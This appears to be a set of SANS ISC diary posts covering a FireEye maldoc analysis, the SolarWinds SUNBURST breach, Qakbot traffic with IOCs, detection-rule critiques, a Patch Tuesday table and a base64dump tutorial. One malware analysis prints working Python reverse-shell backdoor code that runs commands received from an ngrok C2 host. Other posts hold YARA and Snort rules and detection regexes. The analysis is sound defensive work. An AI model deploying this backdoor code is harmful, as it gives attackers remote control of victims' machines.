When FireEye released YARA rules to detect their stolen red team tools, I was interested in their maldoc rules:

This rule here (Methodology_OLE_CHARENCODING_2) detects OLE files (.doc, .xls, ...) that contains sequences of decimal numbers. Converted to ASCII, these numbers reveal short strings: "echo off", "MZ", "PK".

That indicates to me that maldocs created with FireEye's tool embed a .BAT file, a .EXE and/or a .ZIP file.

The maldoc sample mentioned in the rule is available on VirusTotal: MD5 41b70737fa8dda75d5e95c82699c2e9b.

I analyze this maldoc as follows:

First I run my oledump tool:

The macro indicators (M and m) tell me that there is VBA code in this maldoc. But my attention is first drawn to the streams that end with /o (stream 10 and 20). Hiding payloads, scripts, ... inside VBA user form values is a well-known technique used by malware authors. I have a plugin to help with the analysis of maldocs that use this technique: plugin_stream_o.

This is the command:

So stream 10 contains a value that looks like a message to be displayed by this maldoc.

And stream 20 contains the payload we are looking for: a long sequence of decimal numbers. It starts with 80;75;3;4: that's the YARA rule's detection string for a ZIP record.

Remark also the "Found: 2" message from the plugin: this is new since the last version. This means there are 2 values inside this stream (if there is only one value, this Found message is not displayed, just like older versions of the plugin do).

The next step now is to convert this sequence of decimal numbers to bytes. I have a tool for that: numbers-to-string.py.

Since there are 2 values inside stream 20, I want to take a closer look first. I use option -S of numbers-to-string.py to produce statistics for each line of text with numbers:

So there are 2 values inside stream 20 that are long sequences of decimal numbers. Line 25: 66124 values between 0 and 255, Line 26: 66191 values between 0 and 255. So it looks like we have 2 embedded files in here, probably 2 ZIP files.

I select the first value (line 25), decode it as binary data (-b) and analyze it with my tool zipdump.py.

So that is indeed a ZIP file, and it contains a .exe file.

I do a quick check to see if the second value (line 26) also decodes to a ZIP file:

And indeed, that one too is a .exe file.

With zipdump's option -e I get extra info, like the hash to look the file up on VirusTotal:

Here are the samples: 2eb4469c76f5230c66626a6918c7664f and 0d9391a889ba91a3da63654d51820e89.

So this FireEye maldoc is not hard to analyze.

Remark that in the YARA rule, there are strings with separator : and x beside ;. It looks like there can be variations in the encoding, but that has no effect on the decoding of the decimal numbers by my tool.

I also checked if VBA stomping or purging was performed on this maldoc, but that doesn't seem to be the case:

There is compiled code and VBA code inside the module streams. So the compiled VBA code has not been purged, and neither has the source code been stomped, since I can find VBA source code with Shell statements and CreateObject calls:

I recorded a video of this analysis, where I also take a look at the VBA code:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

[This is a developing story and will likely be updated as we learn more details. ]

We are preparing a webcast for 5 pm EST (22:00 UTC)

SolarWinds today announced that its product was apparently used to breach multiple high profile organizations [1].  One of these organizations was FireEye. FireEye made the breach public last week, and today released a detailed report showing how SolarWinds was used to breach the network [6].

SolarWinds was apparently compromised early in 2020. The attackers used the access they gained to the SolarWinds network to add a backdoor to a key library that is part of SolarWinds. This modified library was delivered to selected SolarWinds customers via the normal SolarWinds update process. SolarWinds Orion versions 2019.4 through 2020.2.1 HF1 are potentially affected (Solarwinds states that 2020.2.1 HF 1 is safe. CISA considers that version affected).

According to SolarWinds' statement, updates to the Orion product released between March and June of 2020 are affected. The SolarWinds Orion Platform is an IT management platform that will centralize IT operations, security, and management. A compromise of this platform may affect all parts of a network that are controlled by Orion. An attacker would be able to enable/disable security tools, change configurations or load unauthorized patches (or prevent patches from being applied), among other things.

Currently, the following names are used for the attack:

• Microsoft labeled the attack "Solarigate" in Windows Defender.
• FireEye refers to the backdoor as SUNBURST. The campaign is tracked as UNC2452.

What you should do at this point:

1. Verify if you are running SolarWinds Orion version 2019.4 through 2020.2.1HF1 and if so, assert which networks are managed by it (likely all or most of your network)
2. CISA recommends disconnecting/powering down affected versions of SolarWinds Orion [8]
3. Quick check for the following indicators:
   (1) is SolarWinds.Orion.Core.BusinessLayer.dll present? It may be located in %PROGRAMFILES%\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll or
   %WINDIR%\System32\config\systemprofile\AppData\Local\assembly\tmp\<VARIES>\SolarWinds.Orion.Core.BusinessLayer.dll
   (2) if so, the malicious version uses this Singer and SingerHash:
        "Signer": "Solarwinds Worldwide LLC"
         "SignerHash": "47d92d49e6f7f296260da1af355f941eb25360c4"
   (3) the existence of the file C:\WINDOWS\SysWOW64\netsetupsvc.dll may indicate a compromise
   (4) check for outbound traffic to hostnames in the avsvmcloud.com domain (e.g. review DNS logs)

The malicious code included with the affected versions of SolarWinds may include a Cobalt Strike implant. See Didier's diary from last week for details on analyzing Cobalt Strike beacons [3] and the recently released Cobalt Strike TLS fingerprints for JARM [4]

The backdoor is part of SolarWinds.Orion.Core.businessLayer.dll. This is a legitimate DLL that is modified by the attacker. The DLL is digitally signed by "Solarwinds Worldwide, LLC". The update was distributed using the legitimate SolarWinds updates website (hxxps:// downloads[.]solarwinds[.]com)

IOCs:

See the FireEye GitHub repository https://github.com/fireeye/sunburst_countermeasures
John Bambenek GitHub repo (IP Addresses) https://github.com/bambenek/research/tree/main/sunburst

 

 

[1] https://twitter.com/razhael/status/1338267165221396480/photo/1
[2] https://twitter.com/cyb3rco0kie/status/1338276872333889537?s=21
[3] https://isc.sans.edu/forums/diary/Quick+Tip+Cobalt+Strike+Beacon+Analysis/26818
[4] https://isc.sans.edu/forums/diary/Threat+Hunting+with+JARM/26832
[5] https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Solorigate.C!dha&ThreatID=2147771132
[6] https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
[7] https://github.com/fireeye/sunburst_countermeasures
[8] https://cyber.dhs.gov/ed/21-01/

---
Johannes B. Ullrich, Ph.D. Dean of Research, SANS.edu
Twitter|

The SANS Holiday Hack Challenge is an annual, free CTF.

For the third year, it includes KringleCon 2020, a free virtual online hacker conference hosted on YouTube.

And of course, the videos of the first and second KringleCon are still online too.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.4.1 was released.

It has vulnerability and bug fixes, like a USB HID dissector crash.

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

A couple of people shared recent maldocs with me, like this one.

These turn out to be Excel spreadsheets with Excel 4 macros, saved using Excel 95 file format. This format uses BIFF5/BIFF7 records (a workbook stream is composed of BIFF records).

I've updated my plugin plugin_biff.py to recognize this format:

For the BIFF record 0809, the beginning of file record (BOF), my plugin now indicates BIFF5/BIFF7 for this ancient format.

If this spreadsheet is password protected, a FILEPASS record will follow the the BOF record. The data of all BIFF records following this FILEPASS records is encrypted (except for a few record types). The encryption is XOR or RC4.

In this example, the encrypton is "XOR obfuscation" and it predates the BIFF8 format.

Unfortunately, I didn't find open source tools to decrypt this ancient format.

msoffice-crypt.exe does support XOR obfuscation, but only for the BIFF8 format. Not older formats like this one.

msoffcrypto (used by my tool msoffcrypto-crack) does not yet support XOR obfuscation. This is on the todo list.

Dynamic analysis is required to extract the IOCs of maldocs like these.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

By now, everyone should have seen that FireEye got breached and their red team tools got stolen. What is truly unique about their response is publishing detection rules to detect the use of those tools in the wild. However, the nature of some of those rules is that the detection will be short-lived. This isn't necessarily a fault of FireEye (as I will explain below) but it is useful as an exercise in writing Yara rules (or Snort, HXIOC, STIX, et al).

For programs, particularly compiled ones, you can think of it as seperated into three parts: the stuff that makes the program do what it does, free-form text for output (error messages, requests for user input, filenames, etc), and metadata (i.e. compiler artifacts). All of these can be modified, of course, but the most difficult to modify is the "stuff that makes the program go". To do that, you need a strong understanding of the code, what the functions do, what returns are expected, and what the expected inputs are. Changing metadata or free-form text, on the other hand, doesn't affect the running of the program and detection that relies on that is transient. An attacker can simply go in, search for the strings or metadata and change them with the tooling of their choice all with no real understanding of the underlying code.

Many of FireEye's countermeasures look for free-form text or metadata and not the functioning of the tool which is why those countermeasures will likely be short-lived. That doesn't mean, however, FireEye's approach is wrong.

For instance, the below Yara rule is detecting a specific GUID for a specific project in a .csproj file. This GUID likely has nothing to do with how Rubeus actually works so it can be arbitrarily changed.

rule HackTool_MSIL_Rubeus_1
{
    meta:
        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
        md5 = "66e0681a500c726ed52e5ea9423d2654"
        rev = 4
        author = "FireEye"
    strings:
        $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
    condition:
        uint16(0) == 0x5A4D and $typelibguid
}

The approach to writing rules based on metadata or free-form text is not wrong, depending on the purpose you write the rules for. You can either write rules to detect tools or you can write tools to detect actors. Both are useful, but which you use depends on your specific objective.

Among other things, FireEye does good work in attribution of nation-state attacks. When doing the work of intelligence analysis, I love free-form text. It is extremely hard for an attacker to put in free-form text that doesn't give me something to work with, especially when there is a reasonably sized body of text to work with. For instance, an attacker using the word "colour" vs "color" tells me (potentially) something, namely whether they speak American or speak proper English. I have no inside knowledge as to how FireEye writes their rules, but it comes as little surprise to me that many of the rules are written in a way that seems more calibrated to detect actors than tools. For instance, lots of actors use Cobalt Strike, but if I want to know who is behind a specific campaign, I need to look for other things than just the use of Cobalt Strike.

Both approaches are valid, but likely most enterprises are more interested in detecting the use of FireEye's specific tools rather than the attributive information associated with this tools, so other techniques will be needed. That said, both approaches are still valid for their defined use-case, as long as you are intentional about which road you want to travel (or that you're traveling both roads simultaenously by having rules that have both approaches).

However, writing detection logic and thinking through things can sometimes be lacking which leads to completely ineffective rule writing. One of my favorite Snort rules for this example is SID 1239.

# alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"OS-WINDOWS RFParalyze Attempt"; flow:to_server,established; content:"BEAVIS"; content:"yep yep"; metadata:ruleset community; reference:bugtraq,1163; reference:cve,2000-0347; reference:nessus,10392; classtype:attempted-recon; sid:1239; rev:14;)

This is obviously an old rule on CVE-2000-0347. It was discussed on Bugtraq back in the day and you can read the disclosure with a PoC here. What this PoC does is popup a window on a remote vulnerable Windows machine with the title "BEAVIS" and the content "yep yep" (the comment in the PoC is wrong, it is "yep" not "yeh". This Snort rule doesn't detect the exploit, it only detects the PoC payload which means any weaponized use of that exploit would be undetected. All that it would detect is the script kiddies lurking on Bugtraq who downloaded the PoC and launched it against the Internet (in fairness, this was a very common thing to happen back in the bugtaq full disclosure days). However, if I am an enterprise looking to protect myself, this rule gives me nothing. No serious attacker is going to launch popups on remote workstations with Beavis and Butthead references.

So for those of you writing Yara, Snort, or other detection rules, be mindful of what objective you are trying to accomplish with the detection and pick your logic based on what is hopefully enduring and not transitory features of the attacker.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Labs - Well Fed Intelligence

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 1.tcp.ngrok.io:65080 80

This command will expose your local web server through hxxp://1.tcp.ngrok.io:65080/

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket
import os
import base64
exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys
nameoffile = sys.argv[0]
a = socket.socket()
while True:
    try:
        a.connect(("<redacted>.tcp.ngrok.io", <redacted>))
        break
    except:
        pass
while True:
    try:
        recvd = a.recv(1024)
        if recvd.decode() == "m:os":
            a.send(str(sys.platform).encode())
        if recvd.decode() == "m:hide":
            ree = shutil.move(nameoffile,'C:\\')
            a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8'))
        else:
            output = os.popen(recvd.decode()).read()
            a.send(output.encode())
    except:
        pass

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to ".tcp.ngrok.io". Here are the results:

Job ID: <redacted>
Start time: 2020-12-09 13:24:35.476494 UTC
Finish time: 2020-12-09 19:22:41.084292 UTC
Scanned data size: 730.5 TB
Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to ngrok.io. To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).

[1] https://ngrok.com/product
[2] https://www.virustotal.com/gui/file/eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Today's diary is a review of a Qakbot (Qbot) infection I generated on Tuesday 2020-12-08.

Qakbot generally includes follow-up malware like Cobalt Strike (such as this example), but my infection on Tuesday 2020-12-08 was a basic Qakbot infection that didn't run long enough for follow-up malware or other activity.

Of note, in late-November 2020, Qakbot underwent a version update.  I've noticed this in my day-to-day research, but nothing comprehensive has been published yet.  A few tweets about it:

• https://twitter.com/lazyactivist192/status/1332363179729575938
• https://twitter.com/_alex_il_/status/1333737189990158337
• https://twitter.com/0verfl0w_/status/1331598884431421441

I'll review some of the changes I've noticed about the update in today's diary.

Shown above:  Chain of events for the Qakbot infection we're reviewing today.

The malspam

Malspam examples I found from Tuesday 2020-12-08 were fake replies to legitimate email chains, although the example shown below might be a Qakbot-generated reply for an unsolicited spam message.

Shown above:  An example of Qakbot malspam from Tuesday 2020-12-08.

The attached ZIP archive has an Excel spreadsheet with macros designed to infect a vulnerable Windows host with Qakbot malware.  Even with the version update, these spreadsheets distributing Qakbot have the same template we've seen for the past several months.

Shown above:  Excel spreadsheet extracted from the ZIP attachment.

Infection activity

Typical for Qakbot, we see an HTTP GET request for a URL ending in .jpg that returned a Windows binary (in this case a DLL).  This often is an HTTPS URL, where we would not see the Windows binary in a pcap.  In recent moths, I've seen as many HTTPS URLs for this as I have regular HTTP URLs.

Shown above:  HTTP traffic that returned a Windows DLL file for Qakbot.

Filtering the traffic in Wireshark, we find typical Qakbot post-infection activity.  But approximately 3 hours after the initial infection, I also saw web traffic to wellsfargo[.]com, which was unusual--especially since no browser had opened on the desktop of the infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

The user-agent string in HTTP traffic to wellsfargo[.]com indicated it may have been caused by Google Chrome.  Keep in mind the user-agent string is often spoofed during malware infections.  I also saw web traffic associated with the Firefox web browser.  This traffic is likely related to one of the Qakbot modules; however, I could not find any modules saved to disk on my infected host.

Shown above:  Filtering the traffic in Wireshark to show Firefox traffic, and other web traffic to wellsfargo[.]com from the infected host.

Shown above: Traffic to wellsfargo[.]com appears to be from Chrome, if the user-agent string is correct.

Qakbot malware version update

Sometime in late-November 2020, Qakbot malware was updated.  I know of at least 3 related things that are noticeably different than before.

1) The Qakbot binary retrieved by Microsoft Office macros changed from an EXE to a DLL.

• Prior to the update, the initial Qakbot binary was an EXE made persistent through a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.
• After the update, the initial Qakbot binary has been a DLL file, and there is no longer a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.

2) Qakbot now creates other Windows registry updates.  These updates are located at HKCU\SOFTWARE\Microsoft under a key that consists of a unique alphabetical string for each infected host.  It consists of several entries containing encoded binary data as shown in the example below.

Shown above:  An example of Windows registry update caused by the newest version of Qakbot.

3) The directory for Qakbot artifacts under C:\Users\[username]\AppData\Roaming\Microsoft now has fewer files.  Before the version update, we  saw a Windows EXE for Qakbot in this directory, and it was kept persistent in the Windows registry (see item 1 above).  Now, the folder no longer has an EXE and some other files are missing.  Compare the two images below.

Shown above:  An example of artifact caused by the old version of Qakbot.

Shown above:  Artifacts stores to the same type of directory after the late-November 2020 version update of Qakbot.

Qakbot's version update has resulted in other characteristics of the malware, and I'm certain someone will publish a more detailed write-up about it.  These three changes are the one's I've noticed, but I focus mostly on dynamic analysis (not code analysis or reverse engineering).

Indicators of Compromise (IoC)

The following are IoCs from my Qakbot infection from Tuesday 2020-12-08.

ZIP archives from 4 malspam examples:

• 2ccc14f2bab2e9eb1d7228e225afda558fd4b52ed670303a912ace1984b35b06  Document_1204350147-Copy.zip
• fa9935e6cda06866cb5aa062c16a73fdc85bd4146dca67202d22e225ddd3193b  Document_1356928040-Copy.zip
• 0a3a6163a5e8e372fa96efbef3feb793463f4e39bd2c4d6ea03afce045f90636  Document_1495694596-Copy.zip
• 66036cf566386c159e49191125497c77c13c75778492519000b9f61a4afdedad  Document_501487929-Copy.zip

Excel spreadsheets extracted from the above ZIP archives:

• adad807fa22f398e0a40396ed65d0827f9f14baf7e1281b713dfb17e2683d743  Document_1204350147-Copy.xls
• e14f6ab34e3506d6985816af85935932fb6faf8bad9d2c7dd96d6011d7c21a33  Document_1356928040-Copy.xls
• 4e2f37d4228e78faa1f34121ee934f58e1a9862ad6f183edf4c24e08cda20363  Document_1495694596-Copy.xls
• 94d759f43bcc647f7233e19ddc160a6b43458dcde6d2ea4274c8c06b2890def2  Document_501487929-Copy.xls

HTTP traffic after enabling that returned a Qakbot DLL file:

• 35.208.146[.]4 port 80 - supyouryoga[.]com - GET /svgqcnjto/590906.jpg

Qakbot post-infection traffic:

• 62.38.114[.]12 port 2222 - HTTPS traffic caused by Qakbot
• 197.45.110[.]165 port 995 - HTTPS traffic caused by Qakbot
• port 443 - www.openssl[.]org - connectivity check caused by Qakbot
• 54.36.108[.]120 port 65400 - TCP traffic caused by Qakbot

Unusual (to me) activity from Qakbot-infected host:

• port 80 - wellsfargo[.]com - GET /
• various IP addresses over TCP port 443 - Wells Fargo-related domains - traffic caused by viewing wellsfargo[.[com
• Firefox-related HTTP and HTTPS web traffic

Malware from an infected Windows host:

• SHA256 hash: 5060806228d3f2c1afd09566d0d2fa6b2e56f844cd044c4c4e6e7ade9fef3a22
• File size: 350,928 bytes
• File retrieved from: hxxp://supyouryoga[.]com/svgqcnjto/590906.jpg
• File saved to victim as: C:\Users\[username]\AppData\Kipofe.mmaallaauu
• File description: DLL file for Qakbot retrieved by macro from Document_1495694596-Copy.xls
• Run method: Rundll32.exe [filename],DllRegisterServer

Final words

Qakbot been active for several years, and it continues to evolve.  The latest version update has some significant changes, but infection traffic on vulnerable Windows hosts remains similar to what we've seen before with Qakbot.

A pcap of the infection traffic reviewed in this dairy and 4 examples of Qakbot malspam are available here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

December 2020 Microsoft Patch Tuesday: Exchange, Sharepoint, Dynamics, and DNS SpoofingFor the last Patch Tuesday of the year, Microsoft provided updates fixing 58 vulnerabilities, which is at the low end of what we have seen this year. 9 of the vulnerabilities are rated critical.

The largest CVSS score is 8.8 this month, which was assigned to vulnerabilities affecting Microsoft Dynamics. The 6 vulnerabilities in Microsoft Exchange should also not be ignored. One of the vulnerabilities is an information disclosure problem. But the other 5 vulnerabilities are remote code execution issues. Note that older Exchange vulnerabilities still remain unpatched at some organizations and have been used in attacks this last year. 

Sharepoint remains another regular participant in patch Tuesday with two remote code execution vulnerabilities, one reaching a CVSS score of 8.8.

In addition, Microsoft released an advisory regarding a DNS spoofing vulnerability. This DNS spoofing issue involves fragmentation, but Microsoft is not very specific as to the exact methodology. There have been a few different fragmentation related cache spoofing issues that people have written about in the last few years. The workaround is to avoid fragmentation by reducing the buffer size to 1221 bytes, which should be small enough to not cause fragmentation. As a side effect of the workaround, you may see more TCP port 53 traffic to your DNS servers.

I did not see an advisory regarding Adobe Flash. This would be the last month for an Adobe Flash advisory which will officially be retired at the end of the year.

Patch Tuesday Dashboard: https://patchtuesdaydashboard.com/

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
Azure DevOps Server Spoofing Vulnerability
%%cve:2020-17135%%	No	No	Less Likely	Less Likely	Important	6.4	5.6
Azure DevOps Server and Team Foundation Services Spoofing Vulnerability
%%cve:2020-17145%%	No	No	Less Likely	Less Likely	Important	5.4	4.7
Azure SDK for C Security Feature Bypass Vulnerability
%%cve:2020-17002%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Azure SDK for Java Security Feature Bypass Vulnerability
%%cve:2020-16971%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Azure Sphere Security Feature Bypass Vulnerability
%%cve:2020-17160%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2020-17131%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2020-17137%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Dynamics CRM Webclient Cross-site Scripting Vulnerability
%%cve:2020-17147%%	No	No	Less Likely	Less Likely	Important	8.7	7.6
Hyper-V Remote Code Execution Vulnerability
%%cve:2020-17095%%	No	No	Less Likely	Less Likely	Critical	8.5	7.4
Kerberos Security Feature Bypass Vulnerability
%%cve:2020-16996%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Dynamics 365 for Finance and Operations (on-premises) Remote Code Execution Vulnerability
%%cve:2020-17152%%	No	No	More Likely	More Likely	Critical	8.8	7.7
%%cve:2020-17158%%	No	No	More Likely	More Likely	Critical	8.8	7.7
Microsoft Dynamics Business Central/NAV Information Disclosure
%%cve:2020-17133%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Edge for Android Spoofing Vulnerability
%%cve:2020-17153%%	No	No	Less Likely	Less Likely	Moderate	4.3	3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2020-17126%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-17122%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17123%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17125%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17127%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17128%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17129%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Excel Security Feature Bypass Vulnerability
%%cve:2020-17130%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Exchange Information Disclosure Vulnerability
%%cve:2020-17143%%	No	No	Less Likely	Less Likely	Important	8.8	7.9
Microsoft Exchange Remote Code Execution Vulnerability
%%cve:2020-17117%%	No	No	Less Likely	Less Likely	Critical	6.6	5.9
%%cve:2020-17132%%	No	No	Less Likely	Less Likely	Critical	8.4	7.6
%%cve:2020-17141%%	No	No	Less Likely	Less Likely	Important	8.4	7.6
%%cve:2020-17142%%	No	No	Less Likely	Less Likely	Critical	8.4	7.6
%%cve:2020-17144%%	No	No	More Likely	More Likely	Important	8.4	7.6
Microsoft Guidance for Addressing Spoofing Vulnerability in DNS Resolver
ADV200013	No	No	Less Likely	Less Likely	Important
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2020-17119%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2020-17124%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2020-17089%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-17120%%	No	No	Less Likely	Less Likely	Important	5.3	4.6
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-17118%%	No	No	More Likely	More Likely	Critical	8.1	7.3
%%cve:2020-17121%%	No	No	More Likely	More Likely	Critical	8.8	7.7
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-17115%%	No	No	Less Likely	Less Likely	Moderate	8.0	7.0
Visual Studio Code Java Extension Pack Remote Code Execution Vulnerability
%%cve:2020-17159%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2020-17150%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Code Remote Development Extension Remote Code Execution Vulnerability
%%cve:2020-17148%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2020-17156%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Backup Engine Elevation of Privilege Vulnerability
%%cve:2020-16958%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16959%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16960%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16961%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16962%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16963%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-16964%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2020-17103%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2020-17134%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2020-17136%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Digital Media Receiver Elevation of Privilege Vulnerability
%%cve:2020-17097%%	No	No	Less Likely	Less Likely	Important	3.3	2.9
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2020-17094%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2020-17138%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows GDI+ Information Disclosure Vulnerability
%%cve:2020-17098%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Lock Screen Security Feature Bypass Vulnerability
%%cve:2020-17099%%	No	No	Less Likely	Less Likely	Important	6.8	5.9
Windows NTFS Remote Code Execution Vulnerability
%%cve:2020-17096%%	No	No	More Likely	More Likely	Important	7.5	6.5
Windows Network Connections Service Elevation of Privilege Vulnerability
%%cve:2020-17092%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Overlay Filter Security Feature Bypass Vulnerability
%%cve:2020-17139%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows SMB Information Disclosure Vulnerability
%%cve:2020-17140%%	No	No	Less Likely	Less Likely	Important	8.1	7.1

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

My base64dump tool's goals are first to detect BASE64 encoded strings (and other encodings), and second to help with the decoding.

In diary entry "Decoding Corrupt BASE64 Strings" I showed how to detect and decode a corrupt BASE64 string in one single step.

There was a very interesting and detailed reader comment on this diary entry, giving more examples of possible BASE64 corruption and how to deal with them.

In this diary entry, I'm going to cover detection and decoding in more detail.

base64dump.py is a tool that I started to find BASE64 strings inside binary files, like process dumps and PE files. Current versions support much more encodings than BASE64 (like hexadecimal). In large binary files, it can be hard to find BASE64 strings, even with the strings command. So that's the first goal of base64dump: detect the presence of encoded strings.

Let's take a look at a couple of examples. I start with a BASE64 string (aGVsbG8sIHdvcmxk, this decodes to "hello, world") surrounded by binary data (0xE9 bytes). This is my sample binary file containing a small BASE64 string:

base64dump can detect this BASE64 string inside this binary file:

So that the first goal: detection. The second goal is also visualized here: you can see the start of the decoded data.

Now, let's work with a corrupt BASE64 string. I created a sample where I replaced the last character of the BASE64 string with a byte that is not a BASE64 character (0xE9):

base64dump does not detect this corrupt BASE64 string:

The reason is that this string is a sequence of BASE64 characters: 15 characters long, but a valid BASE64 string has a length that is always a multiple of 4. 15 is not a multiple of 4, thus the string is not a valid BASE64 string and base64dump does not detect it.

Since I use my tool base64dump to detect strings like BASE64 strings, I would also want it to detect BASE64 strings with small corruptions, like one or more characters extra or less at the start or end of the string. That's why I added option -p (process) to base64dump:

With option -p, one can preprocess strings before they are decoded. This preprocessing is done via a Python function. The value of option -p, is a Python function that will preprocess strings. One of the builtin functions that help with this is L4: L4 is a function that takes a sequence of bytes as input, and returns a truncated sequence so that its lengths is a multiple of 4 (L4 = Length 4). If the input has a length that is a multiple of 4, then the input is returned unchanged.

When I use option -p with Python function L4, the corrupt BASE64 string is detected:

The advantage of this option, is that corrupt strings are also detected. You can see that the Size of the detected string is 12: that's 15 decreased to the nearest multiple of 4 (12). That is the result of function L4. base64dump finds a sequence of BASE64 characters that is 15 characters long, and thus it would be ignored. However, because of preprocessing with function L4, this sequence is truncated to 12 characters, and now it is detected.

That's the first goal: detect encoded data.

Now, in this example, not only was this corrupt BASE64 detected, but it was also decoded into data that is meaningful to us: "hello, wo".

So from this result, we know that there is indeed a BASE64 string inside that binary file, that it is corrupt, for some reason, and that the corruption happened at the end of the string. We know that because we can recognize the decoded value ("hello, ..."), and because we can understand that something is missing at the end of the decoded value.

So now that we have detected (and partially decoded), we can try to "repair" the corrupt string.

First simple test to do for this example, is to add one BASE64 character to the end of the detected BASE64 string. This too can be done with option -p, by using a lambda function that adds character/byte A to the end of its input:

